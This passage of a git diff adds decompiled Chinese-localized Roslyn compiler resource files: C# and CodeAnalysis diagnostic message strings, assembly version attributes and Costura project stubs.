性与目标委托“{2}”不匹配(可能是由于为 Null 性特性)。 + 约束类型“{0}”不符合 CLS + 内插字符串处理程序构造不能使用动态。请手动构建“{0}”的实例。 + 无法在对象初始值设定项中为静态字段或属性“{0}”赋值 + “{0}”特性重复 + 特性“{0}”仅在从 System.Attribute 派生的类上有效 + ref 条件运算符的分支引用具有不兼容声明范围的变量 + 意外的字符序列 “...” + 方法“{1}”的类型参数“{0}”的约束中的为 Null 性与接口方法“{3}”的类型参数“{2}”的约束不匹配。请考虑改用显式接口实现。 + 与结构类型的 null 进行比较始终产生 "false" + C# 类型上不允许有 RequiredAttribute 特性 + 仅允许 65534 个局部变量,包括编译器生成的局部变量 + 可变字段通常不应用作 ref 或 out 值,因为它不会被视为可变字段。这种情况存在例外情况,如调用联锁 API 时。 + 类型中引用类型的为 Null 性与重写成员不匹配。 + 无法嵌入在程序集“{1}”和“{2}”中同时找到的互操作类型“{0}”。请考虑将“嵌入互操作类型”属性设置为 false。 + 路径太长或无效 + “{1} {0}”的返回类型错误 + 在某些条件下退出时,成员必须具有非 null 值。 + 参数“{0}”类型中引用类型的为 Null 性与实现的成员“{1}”不匹配。 + 类型不实现集合模式;成员有错误的签名 + 主异步 + 未在程序集“{2}”中找到类型“{1}”上的成员“{0}”。 + 在此位置不应为结束标记。 + “{0}”: 无法从静态类“{1}”派生 + 使用 "UnmanagedCallersOnly" 特性化的方法不能具有泛型类型参数,也不能在泛型类型中声明。 + 由于“{0}”是引用封送类的字段,访问上面的成员可能导致运行时异常 + 应为表达式 + 友元访问权限由“{0}”授予,但是输出程序集('{1}')的公钥与授予程序集中 InternalsVisibleTo 特性指定的公钥不匹配。 + “{0}”不是现用语言支持的类型 + 模块初始化表达式方法 "{0}" 必须是静态且非虚拟的,不能有任何参数,必须返回 "void" + 具有迭代器块的方法“{0}”必须是“异步的”,这样才能返回“{1}” + 表达式必须可隐式转换为布尔值,或其类型“{0}”必须定义运算符“{1}”。 + 可以多次释放对象 + 应用于参数“{0}”的 CallerMemberNameAttribute 将不起任何作用。它由 CallerLineNumberAttribute 重写。 + 程序集引用无效,无法解析 + ++ 或 -- 运算符的参数类型必须是包含类型 + 使用可能未赋值的自动实现的属性 '{0}'。请考虑更新到语言版本 '{1}' 以自动默认属性。 + 将 null 字面量或可能为 null 的值转换为非 null 类型。 + 找不到 RuntimeMetadataVersion 的值 + 对象引用对于非静态的字段、方法或属性“{0}”是必需的 + 无法通过 ref 参数按引用参数“{0}”的成员返回;它只能在 return 语句中返回 + 由于程序集没有 CLSCompliant 特性,因此不能将类型或成员标记为符合 CLS + 没有显式返回类型的匿名方法不允许使用 AsyncMethodBuilder 属性。 + 将方法组转换为非委托类型 + “{0}”: 返回类型必须是“{2}”才能与重写成员“{1}”匹配 + Using 变量不能直接在 switch 部分中使用(请考虑使用大括号)。 + 提交最多可以具有一个语法树。 + “{0}”没有与委托“{1}”匹配的重载 + 在此上下文中,标识符“{0}”在类型“{1}”和参数“{2}”之间不明确。 + XML 注释 cref 特性中参数的类型无效 + 名称“{0}”不会标识元组元素“{1}”。 + 不能对包含索引器的类型指定 DefaultMember 特性 + 警告等级必须大于或等于零 + expression-bodied 索引器 + 本地函数“{0}”必须声明一个正文,因为它未标记为 "static extern"。 + 参数 {0} 在 lambda 中具有默认值 "{1:10}",但在目标委托类型中为 "{2:10}"。 + “{0}”: 无法从动态类型派生 + 分部方法“{0}”必须具有可访问性修饰符,因为它具有非 void 返回类型。 + lambda 表达式树不能包含左侧为 null 或 default 字面量的合并运算符 + “{0}”: 异步 using 语句中使用的类型必须可隐式转换为 "System.IAsyncDisposable" 或实现适用的 "DisposeAsync" 方法。 + 语法错误,应输入“{0}” + '{2}' 无法满足泛型类型或方法 '{1}'中参数 '{0}'的 'new()' 约束,因为 '{2}'具有必需的成员。 + switch 表达式不会处理其输入类型的某些值(它不是穷举),这包括未命名的枚举值。例如,模式“{0}”未包含在内。 + 由于引用类型的可为 null 性差异,{0} 类型的实参不能用于 {3} 中 {1} 类型的形参 {2}。 + 不是可识别的特性位置 + 在此上下文中使用“{0}”的结果可能会在变量声明范围以外公开由参数“{1}”引用的变量 + 元素初始值设定项不能为空 + 从 "readonly" 成员调用非 readonly 成员 "{0}" 将产生 "{1}" 的隐式副本。 + {0} 子句中的表达式的类型不正确。在对“{1}”的调用中,类型推理失败。 + 异常筛选器 + 至少一个顶级语句必须为非空。 + “{0}”的分部方法声明对类型参数“{1}”的约束不一致 + \ No newline at end of file diff --git a/decompiled/Libraries/zh-hans.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/zh-hans.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..f1cc5cb --- /dev/null +++ b/decompiled/Libraries/zh-hans.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/zh-hans.microsoft.codeanalysis.csharp.resources/costura.zh-hans.microsoft.codeanalysis.csharp.resources.csproj b/decompiled/Libraries/zh-hans.microsoft.codeanalysis.csharp.resources/costura.zh-hans.microsoft.codeanalysis.csharp.resources.csproj new file mode 100644 index 0000000..5be603d --- /dev/null +++ b/decompiled/Libraries/zh-hans.microsoft.codeanalysis.csharp.resources/costura.zh-hans.microsoft.codeanalysis.csharp.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.CSharp.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/zh-hans.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.zh-Hans.resx b/decompiled/Libraries/zh-hans.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.zh-Hans.resx new file mode 100644 index 0000000..76f0101 --- /dev/null +++ b/decompiled/Libraries/zh-hans.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.zh-Hans.resx @@ -0,0 +1,248 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089结构 + 应为元素 + PE 映像不可用。 + 公钥标记的大小无效。 + 其他文件不属于基础 "CompilationWithAnalyzers"。 + 多个全局分析器配置文件在“{1}”部分中设置了相同的密钥“{0}”。它已取消设置。密钥由以下文件设置:“{2}” + 旧文件签名的临时路径不可用。 + 事件 + 包含类型“{0}”的程序集引用了 .NET Framework,而此操作不受支持。 + 程序集引用:“{0}” + 将 IVT 授予当前程序集:{1} + 将 IVT 授予: + 分析器“{0}”在其 "SupportedDiagnostics" 中包含 null 描述符。 + 参数“{0}”必须是此编译或某些引用程序集的符号。 + 不一致的语言版本 + 引用解析程序应返回非空的可读流。 + 无效的编译选项 -- 不能签署提交。 + pathMap 中的键为空。 + 分析器配置文件中的严重性无效。 + 规则集文件对有不同操作 “{1}” 和“{2}”的“{0}”有重复规则。 + 类型必须是 SyntaxAnnotation 的子类。 + 值太大,无法表示为 30 位无符号整数。 + 不能给模块起别名。 + 程序集区域性名称中有无效字符 + 模块 + 方法 + Windows PDB 编写器不支持确定性的编译:“{0}” + 分析器 + 参数“{0}”必须是 "INamedTypeSymbol 或 "IAssemblySymbol"。 + 取消以下诊断以禁用此分析器: {0} + + 警告: 无法启用 multicore JIT,因为存在异常: {0}。 + 仅在发出 PDB 时才支持嵌入的文本。 + 模块复制不能用于创建程序集元数据。 + 全局分析器配置部分名称“{0}”无效,因为它不是绝对路径。部分将被忽略。部分已在以下文件中声明:“{1}”。 + 图标流不是预期格式。 + 在 "{2}" 的分析器配置文件中为诊断 "{0}" 给定了无效的严重性 "{1}"。 + 程序集名称:“{0}” + 公钥: + 未找到文件。 + 属性 {0} 具有无效值 {1}。 + Win32 资源,假定为 COFF 对象格式,具有一个无效的节大小。 + 具有 hintName“{0}”的 SourceText 必须具有显式编码集。 + 无法识别的资源文件格式。 + 参数 + 属性、索引器 + 元素 {0} 缺少名为 {1} 的属性。 + 未找到要删除的 MetadataReference“{0}”。 + 在元数据模块“{0}”中所指定的模块名称无效:“{1}” + 名称包含无效字符。 + 无法为此选项指定语言名称。 + 将 PE 流嵌入 PDB 时,无法提供 PDB 流。 + + 仅发出元数据时不应提供 PDB 流。 + hintName“{0}”在位置 {2} 处包含无效字符“{1}”。 + 分析器驱动程序故障 + 多个全局分析器配置文件设置了相同的密钥。它已取消设置。 + 必须包括私有成员,除非发出 ref 程序集。 + 小于 -1 的 "/keepalive" 选项的参数无效。 + 给定操作具有一个非 null 父级。 + 全局分析器配置部分名称无效,因为它不是绝对路径。部分将被忽略。 + 预期的绝对路径。 + 偏移量 {0} 处的数据无效: {1}{2}*{3}{4} + 无法确定失败的具体原因。 + 不支持 XML 文档的引用。 + “流”过长。 + 返回类型不能是值类型、指针、引用传递或开放式泛型类型 + 元组的基础类型必须符合元组。 + 出现异常,上下文如下: +{0} + 序列化绑定器不理解“{0}”类型。 + 不一致的语法树特征 + 不能从模块嵌入互操作类型。 + 不能嵌入 SourceText。在构造时提供编码或 canBeEmbedded=true。 + 流包含无效的数据 + 时间(秒) + 模块具有无效属性。 + 语法树不属于底层“Compilation”。 + 哈希无效。 + '"/keepalive" 选项仅在与 "/shared" 选项一起使用时有效。 + 发出到辅助程序集输出时不应包含私有成员。 + 正在打印当前编译和所有引用程序集的 "InternalsVisibleToAttribute" 信息。 + 由 {0}.ResolveStrongNameKeyFile 返回的路径必须是绝对路径:“{1}” + 未能找到规则集文件“{0}”。 + 不支持程序集签名。 + 报告的诊断“{0}”的源位置“{1}”位于文件“{2}”中,后者不是给定文件。 + 要跟踪的节点不是根的后代。 + 给定操作块不属于当前的分析上下文。 + 指定的项不是列表的元素。 + 委托 + 无法向流中写入。 + 参数“/shared:”的值不能为空 + “{0}”的反序列化读取器读取到错误数量的值。 + 分析器“{0}”在其 "SupportedSuppressions" 中包含 null 描述符。 + 不能创建对提交的引用。 + 由 {0}.ResolveMetadataFile 返回的路径必须是绝对路径:“{1}” + 未解析: + "/keepalive" 选项的参数不是一个 32 位整数。 + 范围不包括行的开头。 + 无法对不含位置的程序集创建元数据引用。 + 无效的区域性名称:“{0}” + 无效的检测类型: {0} + 元组必须包含至少两个元素。 + 更改必须有序且不重叠。 + Roslyn 编译器服务器报告不同于生成任务的协议版本。 + 分析器总执行时间: {0} 秒。 + 编译选项必须无错误。 + 无法序列化类型“{0}”。 + 仅发出元数据时不应提供元数据 PE 流。 + 空的或无效的资源名 + 返回类型不能是无效、引用传递或是开放式泛型类型 + Windows PDB 编写器不支持 SourceLink 功能:“{0}” + 公钥标记无效。 + 具有禁止显示 ID {2} 和理由“{3}”的 DiagnosticSuppressor 已以编程方式禁止显示诊断“{0}: {1}” + 缺少 "/keepalive" 选项的参数。 + <内存中的模块> + 生成器 + 给定操作具有一个 null 语义模型。 + Windows PDB 编写器的版本早于要求的版本:“{0}” + 某个节点或标记的顺序不正确。 + 不允许在发出元数据时嵌入 PDB。 + 无法对动态程序集创建元数据引用。 + 对于给定的禁止显示描述符,禁止显示的诊断 ID“{0}”与可禁止显示的 ID“{1}”不匹配。 + Win32 资源,假定为 COFF 对象格式,具有一个或多个无效的符号值。 + 流必须支持读取和搜寻操作。 + 枚举 + 报告的诊断“{0}”的源位置位于文件“{1}”中,后者不是要分析的编译的一部分。 + 字段 + 名称不能为空。 + 生成器执行总时间: {0} 秒。 + Win32 资源,假定为 COFF 对象格式,缺少其中一个或全部两个节:“.rsrc$01” 和“.rsrc$02” + 如果指定了元组元素名称,元素名称的数量必须与元组基数相匹配。 + 编辑并继续无法恢复挂起的迭代器,因为相应的 yield return 语句已被删除 + 无效的内容类型 + {0}.GetMetadata() 必须返回 {1} 的实例。 + 报告的诊断 ID“{0}”不是有效的标识符。 + 无法对程序集创建模块引用. + 如果已指定元组元素可以为 null 的注释,则注释的数量必须与元组基数相匹配。 + 参数包含重复的分析器实例。 + 名称不能以空格开头。 + 不能序列化具有多个维度的数组。 + 调试过程中不允许更改程序集引用的版本:“{0}”版本改为“{1}”。 + 分析器不支持 ID 为“{0}”的报告的诊断。 + 必须为此选项指定语言名称。 + 应为方法符号 + 输出类型不受支持。 + 需要分隔符 + 列表中的某个节点不是预期的类型。 + hintName“{0}”的段“{1}”(位于位置“{2}”)无效。 + {0} 必须为“默认值”或具有与 {1} 相同的长度。 + 名称不能为 null。 + 必须在 SourceText 的边界内进行更改 + 不支持的哈希算法。 + 资源流提供程序应返回非空流。 + WindowsRuntime 标识不可重定目标 + 参数包含的分析器实例不属于此 CompilationWithAnalyzers 实例的“Analyzers”。 + 无法在发出引用程序集时将 Net 模块作为目标。 + 无法反序列化类型“{0}”。 + 流必须为可读。 + 接口 + Win32 资源,假定为 COFF 对象格式,具有一个或多个无效的重定位标头值。 + 分析器“{0}”引发类型为“{1}”的异常,并显示消息“{2}”。 +{3} + <内存中的程序集> + {0} 和 {1} 长度必须相同。 + 添加的源文件的 hintName“{0}”在生成器中必须唯一。 + 元组元素名称不能为空字符串。 + 无效的提交输出类型。预期为 DynamicallyLinkedLibrary。 + A SuppressionDescriptor 必须具有一个 ID,且该 ID 不为 null、不是空字符串且不是仅包含空格的字符串。 + 流必须是可写的。 + 无效程序集名称: “{0}” + 无效别名。 + 构造函数 + 找不到分析器 + 程序集必须有至少一个模块。 + 编辑并继续无法恢复挂起的异步方法,因为相应的 await 表达式已被删除 + 资源数据提供程序应返回非空流 + 不可禁止显示 ID 为“{0}”的未报告的诊断。 + 资源流在 {0} 字节结束,预期为 {1} 字节。 + PE 映像不包含任何托管元数据。 + 空的或无效的文件名 + 返回 + 分析器驱动程序抛出类型为“{0}”的异常,并显示消息“{1}”。 +{2} + 文件大小超过有效元数据文件所允许的最大大小。 + 范围不包括行的末尾。 + 上一个提交有错误。 + 编译将引用多个程序集(其版本只在自动生成的版本和/或修订号方面有所不同)。 + 以编程方式禁止显示分析器诊断 + 未找到程序集文件 + 公钥无效 + 无法从流中读取。 + 引用类型“{0}”对该编译无效。 + 请求的行号 {0} 必须小于 {1} 的行数。 + DiagnosticDescriptor 必须有一个 ID,该 ID 不能为 null、空字符串或只包含空格的字符串。 + 抑制器不支持已报告的 ID 为“{0}”的诊断。 + 提供的操作不能是控制流图的一部分。 + 每个生成器仅可注册一个 {0}。 + 类型须与之前提交的宿主对象的类型相同。 + 如果已指定元组元素位置,则位置的数量必须与元组基数相匹配。 + 当前程序集:“{0}” + “{0}”不是有效的内置运算符名称 + 不支持的内置运算符: {0} + 内置运算符名称“{0}”非法 + "end" 不得小于 "start"。start="{0}" end="{1}"。 + 不能创建对模块的引用。 + 分析器故障 + 预期的非空公钥 + 加载所含规则集文件 {0} - {1} 时出错 + 程序集名称中有无效字符 + 注意: 运行时间可能小于分析器执行时间,因为分析器可以同时运行。 + 参数不能具有 null 元素。 + 参数不能为空。 + 程序集 + 类型形参 + '“开始”不能为负 + 大小必须为正数。 + pathMap 中的一个值为 null。 + \ No newline at end of file diff --git a/decompiled/Libraries/zh-hans.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.zh-Hans.resx b/decompiled/Libraries/zh-hans.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.zh-Hans.resx new file mode 100644 index 0000000..9848b28 --- /dev/null +++ b/decompiled/Libraries/zh-hans.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.zh-Hans.resx @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089目标数组的下限必须为零。 + 目标数组类型与集合中的项类型不兼容。 + 集合的大小是固定的。 + 集合已修改;可能无法执行枚举操作。 + 数字小于数组第一维的下限。 + 目标数组不够长,无法复制集合中的所有项。请检查数组索引和长度。 + 未能比较数组中的两个元素。 + 已添加了具有相同键的项。键: {0} + 指定的数组必须具有相同的维数。 + 偏移量和长度超出数组的界限,或者计数大于从索引到源集合结尾处的元素数量。 + 无法排序,原因是 IComparer.Compare() 方法返回不一致的结果。一个值与本身比较不相等,或者一个值与另外一个值重复比较生成不同的结果。IComparer:“{0}”。 + 计数必须为正,且计数必须引用 string/array/collection 内的位置。 + 索引超出范围。必须为非负值并小于集合大小。 + Object 数组中元素的数目与要进行比较的数组中的元素数目不相同。 + 容量小于当前大小。 + 请求的操作仅支持一维数组。 + 不允许对从字典派生的值集合进行转变。 + 大于集合大小。 + 索引必须位于该列表的界限内。 + 需要提供非负数。 + 找不到旧值 + 更改非并发集合的操作必须具有独占访问权限才能成功。某操作对此集合执行了并发更新,并已损坏其状态。该集合的状态不再正确。 + 字典中不存在给定的键“{0}”。 + 不允许对从字典派生的键集合进行转变。 + 目标数组不够长。请检查目标索引、长度以及数组的下限。 + 哈希表的容量溢出并且为负。检查加载因子、容量以及表的当前大小。 + 目标数组不够长。请检查源索引、长度以及数组的下限。 + 值“{0}”不是“{1}”类型,不能在此泛型集合中使用。 + 枚举尚未开始或者已经结束。 + \ No newline at end of file diff --git a/decompiled/Libraries/zh-hans.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/zh-hans.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..437c68c --- /dev/null +++ b/decompiled/Libraries/zh-hans.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/zh-hans.microsoft.codeanalysis.resources/costura.zh-hans.microsoft.codeanalysis.resources.csproj b/decompiled/Libraries/zh-hans.microsoft.codeanalysis.resources/costura.zh-hans.microsoft.codeanalysis.resources.csproj new file mode 100644 index 0000000..8050a23 --- /dev/null +++ b/decompiled/Libraries/zh-hans.microsoft.codeanalysis.resources/costura.zh-hans.microsoft.codeanalysis.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/zh-hant.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.zh-Hant.resx b/decompiled/Libraries/zh-hant.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.zh-Hant.resx new file mode 100644 index 0000000..b07b6ac --- /dev/null +++ b/decompiled/Libraries/zh-hant.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.zh-Hant.resx @@ -0,0 +1,2705 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089沒有來源的輸出必須有指定的 /out 選項 + 除以常數零 + 類型與別名不應命名為 'record'。 + '{0}' 不是有效的具名屬性引數,因為其不是有效的屬性參數類型 + XML 註解有格式錯誤的 XML + new()' 條件約束不能和 'unmanaged' 條件約束一起使用 + 因為 ReflectionTypeLoadException 之故,所以略過分析器組件 {0} 中的某些類型: {1}。 + 已指派欄位,但從未使用過其值 + 記錄 + 運算式樹狀結構不可包含指派運算子 + 找不到編譯動態運算式所需的一或多種類型。您是否遺漏了參考? + '{0}' 已經過時: '{1}' + Conditional 屬性在 '{0}' 上無效,因為其為建構函式、解構函式、運算子、Lambda 運算式或明確介面實作 + 唯讀類型的主要建構函式參數 '{0}' 的成員無法由可寫入的參考傳回 + 切片模式只能在清單模式中使用一次且直接使用。 + 模組名稱 {0} 無效 + 介面已列在介面清單中,並具有不同的參考類型可 NULL 性。 + '{0}': 與基底類型之間不可進行使用者定義的轉換 + '{0}': 不可透過運算式參考類型; 請嘗試改用 '{1}' + 編譯器版本: '{0}'。語言版本: {1}。 + 迭代器 + 因為模組的 /win32manifest 僅適用於組件,因此將予以忽略 + 字碼頁 '{0}' 無效或未安裝 + 過時的成員 '{0}' 會覆寫非過時的成員 '{1}' + 遺漏字串常值的右引號。 + 擲回值可能為 null。 + 使用可能未指派的自動實作屬性 '{0}'。請考慮更新語言版本 '{1}' 以自動預設屬性。 + '{0}' 不可為 Null。 + using 宣告 + 目標執行階段不支援預設介面實作。 + 使用者取消了編譯 + 不支援中繼資料參考。 + 查詢主體必須以 select 或 group 子句結尾 + 指定的運算式永遠不符合提供的模式。 + 'init' 存取子不得標記為 'readonly'。改為將 '{0}' 標記為唯讀。 + '&' 運算子不應該用於非同步方法中的參數或區域變數。 + switch 陳述式包含多個標籤值為 '{0}' 的情況 + 必須是識別項; '{1}' 為關鍵字 + 無效的 '{0}' 值: '{1}'。 + 類型參數 '{0}' 與外部方法 '{1}' 的類型參數,名稱相同 + 運算式樹狀結構不可包含 unsafe 指標作業 + 實體參考中發現無效的字元。 + 運算式樹狀架構 Lambda 不可包含具有變數引數的方法 + 尚未實作命令列參數 + 編譯器會隱含地擴大,而且 sign-extended 變數,然後在位元 OR 運算中使用結果值。這可能會導致非預期的行為。 + 必須對指標套用 * 或 -> 運算子 + 前置處理符號的名稱無效; '{0}' 不是有效的識別碼 + 運算子 '{0}' 不可套用至類型為 '{1}' 和 '{2}' 的運算元 + 原生大小整數 + 因為類型是不符合 CLS 規範之類型的成員,所以不可標記為符合 CLS 規範 + CallerMemberNameAttribute 將沒有效果; CallerLineNumberAttribute 會覆寫它 + 無法以可寫入傳址方式傳回 {0} '{1}' 的成員,因為它是唯讀變數 + 套用到參數 '{0}' 的 InterpolatedStringHandlerArgumentAttribute 格式不正確,無法轉譯。手動建構 '{1}' 的執行個體。 + 指定的行字元長度為 '{0}',少於提供的字元數 '{1}'。 + '因為 '{0}' 已標記為抽象,所以它無法宣告主體 + 不一致的存取範圍: 事件類型 '{1}' 比事件 '{0}' 的存取範圍小 + 成員 '{0}' 會覆寫過時的成員 '{1}'。請將 Obsolete 屬性加入 '{0}'。 + 偵測到執行不到的程式碼 + 因為組件沒有 CLSCompliant 屬性,所以類型或成員不需要 CLSCompliant 屬性 + 無法在此內容中使用主要建構函式參數 '{0}'。 + 找不到來源類型 '{0}' 的查詢模式實作。找不到 '{1}'。請考慮明確地指定範圍變數 '{2}' 的類型。 + '{0}' 不是有效的警告編號 + 類型 '{3}' 不可用做為泛型類型或方法 '{0}' 中的類型參數 '{2}'。沒有從 '{3}' 到 '{1}' 的隱含參考轉換。 + 方法、運算子或存取子標記為外部,而且其上沒有屬性 + 差補字串處理常式方法 '{0}' 格式不正確。它不會傳回 'void' 或 'bool'。 + 捨棄模式不可為 switch 陳述式中的 case 標籤。針對捨棄模式,請使用 'case var _:',針對名為 '_' 的常數,則請使用 'case @_:'。 + '{0}' 的呼叫慣例與 '{1}' 不相容。 + 無法在建立物件時使用可為 Null 的參考型別。 + 解構函式的名稱必須符合類型的名稱 + 命令列語法錯誤: '{0}' 對 '{1}' 選項而言不是有效的值。此值的格式必須是 '{2}'。 + '{0}' 不是執行個體方法,接收器不可為差補字串處理常式引數。 + 此參考指派 '{1}' 至 '{0}',但 '{1}' 只能透過 return 陳述式逸出目前的方法。 + 無法將範圍變數 '{0}' 以 out 或 ref 參數的方式傳遞 + Foreach 迴圈必須宣告其反覆運算變數。 + Null 聯合運算子中的非限制式型別參數 + DllImport 屬性必須指定在標記為 'static' 和 'extern' 的方法上 + 部分方法 + Feature '{0}' is not available in C# 12.0. Please use language version {1} or greater. + C# 11.0. 中無法使用 '{0}' 功能。請使用語言版本 {1} 或更高的版本。 + C# 10.0 中無法使用 '{0}' 功能。請使用語言版本 {1} 或更高的版本。 + 已指派欄位 '{0}',但從未使用過其值 + finally 子句的主體中不可使用 yield + <命名空間> + await' 運算子只能用在初始 'from' 子句的第一個集合運算式或 'join' 子句的集合運算式中的查詢運算式 + 為參數 '{0}' 指定的預設值將沒有作用,因為它套用到了不允許選擇性引數的內容中所使用之成員 + '{0}': 明確的介面宣告只能在類別、記錄、結構或介面中宣告 + 您不能重新定義全域外部別名 + 內嵌陣列 'Slice' 方法將不會用於元素存取運算式。 + CLSCompliant 屬性套用在參數上沒有意義,請改為置於方法上。 + 如果 catch() 區塊未在 catch (System.Exception e) 區塊後面指定例外狀況類型,則會導致此警告。此警告會建議 catch() 區塊將不會擷取任何例外狀況。 + +如果 AssemblyInfo.cs 檔案中的 RuntimeCompatibilityAttribute 設定為 false,則 catch (System.Exception e) 區塊後面的 catch() 區塊可以擷取非 CLS 例外狀況: [assembly: RuntimeCompatibilityAttribute(WrapNonExceptionThrows = false)]。如果此屬性未明確地設定為 false,則所有擲回的非 CLS 例外狀況都會包裝為例外狀況,而 catch (System.Exception e) 區塊會加以擷取。 + 套用到參數的 CallerArgumentExpressionAttribute 將沒有效果,因為它是自我參考。 + out 變數不可宣告為 ref local + 無法在 catch 子句中等候 + 運算子 '{0}' 需要也同時定義運算子的相符未檢查版本 + 以檔案為範圍的命名空間 + 無法解構動態物件。 + 因為參考可能不會傳遞或傳回運算式,所以無法於此內容中使用運算式 + 宣告外部別名的 /reference 選項只能有一個檔名。若要指定多個別名或檔名,請用多個 /reference 選項。 + 類型 '{0}' 的 stackalloc 運算式不可能轉換成類型 '{1}'。 + 以 '{' 開頭的插入運算式遺漏結束分隔符號 '}' + 您必須在組件 (而非模組) 上指定 CLSCompliant 屬性,以啟用 CLS 合規性檢查 + 'scoped' 修飾元只能用於 refs 和 ref 結構值。 + 因為 '{0}' 不包含 '{1}' 的公用執行個體或延伸模組定義,所以 foreach 陳述式無法在型別 '{0}' 的變數上運作 + 讀取規則集檔案 {0} 時發生錯誤 - {1} + 請勿直接呼叫您的基底類型 Finalize 方法。其會從您的解構函式自動呼叫。 + '{0}': 就其類型而言,此列舉值過大 + 指定的檔案有 '{0}' 行,少於提供的行數 '{1}'。 + 對前置處理器指示詞指定了無效的檔名。檔名太長或者不是有效的檔名。 + 類型或成員已經過時 + 無法將運算式轉換為 '{0}',因為它可能不會按照參考傳遞或傳回 + 方法 '{0}' 的類型引數不可從使用方式推斷。請嘗試明確地指定類型引數。 + 可能有 Null 參考引數。 + 方法群組(&M) + 遺漏檔案屬性 + 遺漏路徑屬性 + Unmanaged 類型 '{0}' 對欄位無效。 + 使用容器 '{0}' 的公開金鑰簽署輸出時發生錯誤 -- {1} + 運算子 '{0}' 需要也同時定義對稱的運算子 '{1}' + 欄位初始設定式無法參考非靜態欄位、方法或屬性 '{0}' + 自動實作的唯讀屬性 + 命名空間 '{1}' 已在此檔案中包含 '{0}' 的定義。 + 無法將靜態唯讀欄位 '{0}' 的欄位用作為 ref 或 out 值 (除非在靜態建構函式中) + 此參考指派 '{1}' 至 '{0}',但 '{1}' 的逸出範圍比 '{0}' 還要窄。 + 屬性的存取修飾詞 + 類型和別名不能命名為 'scoped'。 + 類別、記錄、結構或介面成員宣告中的語彙基元 '{0}' 無效 + 找不到中繼資料檔 '{0}' + 從 'readonly' 成員呼叫非 readonly 成員會產生隱含複本。 + 以檔為範圍的命名空間必須在檔案中的所有其他成員之前。 + '{0}' 沒有預先定義的大小,因此 sizeof 只能用於 unsafe 內容 + 在 '{1}' 中指定了的搜尋路徑 '{0}' 無效 -- '{2}' + 因為參數類型與委派參數類型不符,所以無法將 {0} 轉換為類型 '{1}' + 只有符合 CLS 規範的成員,才可為抽象 + private protected + 組件與模組 '{0}' 的目標處理器不可不同。 + 運算式樹狀架構不可包含 range ('..') 運算式。 + 參數的參考種類修飾詞 '{0}' 不符合目標中的對應參數 '{1}'。 + '{0}' 不是差補字串處理常式類型。 + 參數的參照種類修飾詞 '{0}' 不符合隱藏成員中對應的參數 '{1}'。 + 在明確指派之前會先讀取自動實作屬性 '{0}',導致先前隱含的指派為 'default'。 + 無法在 lock 陳述式的主體中等候 + 無法將靜態唯讀欄位用作為 ref 或 out 值 (除非在靜態建構函式中) + 使用可能未指派的自動實作屬性。請考慮更新語言版本以自動預設屬性。 + 屬性 '{0}' 在屬性或事件存取子上無效。其只有在 '{1}' 宣告上才有效。 + 參數 '{0}' 的 'scoped' 修飾元不符合目標 '{1}'。 + 指定的版本字串 '{0}' 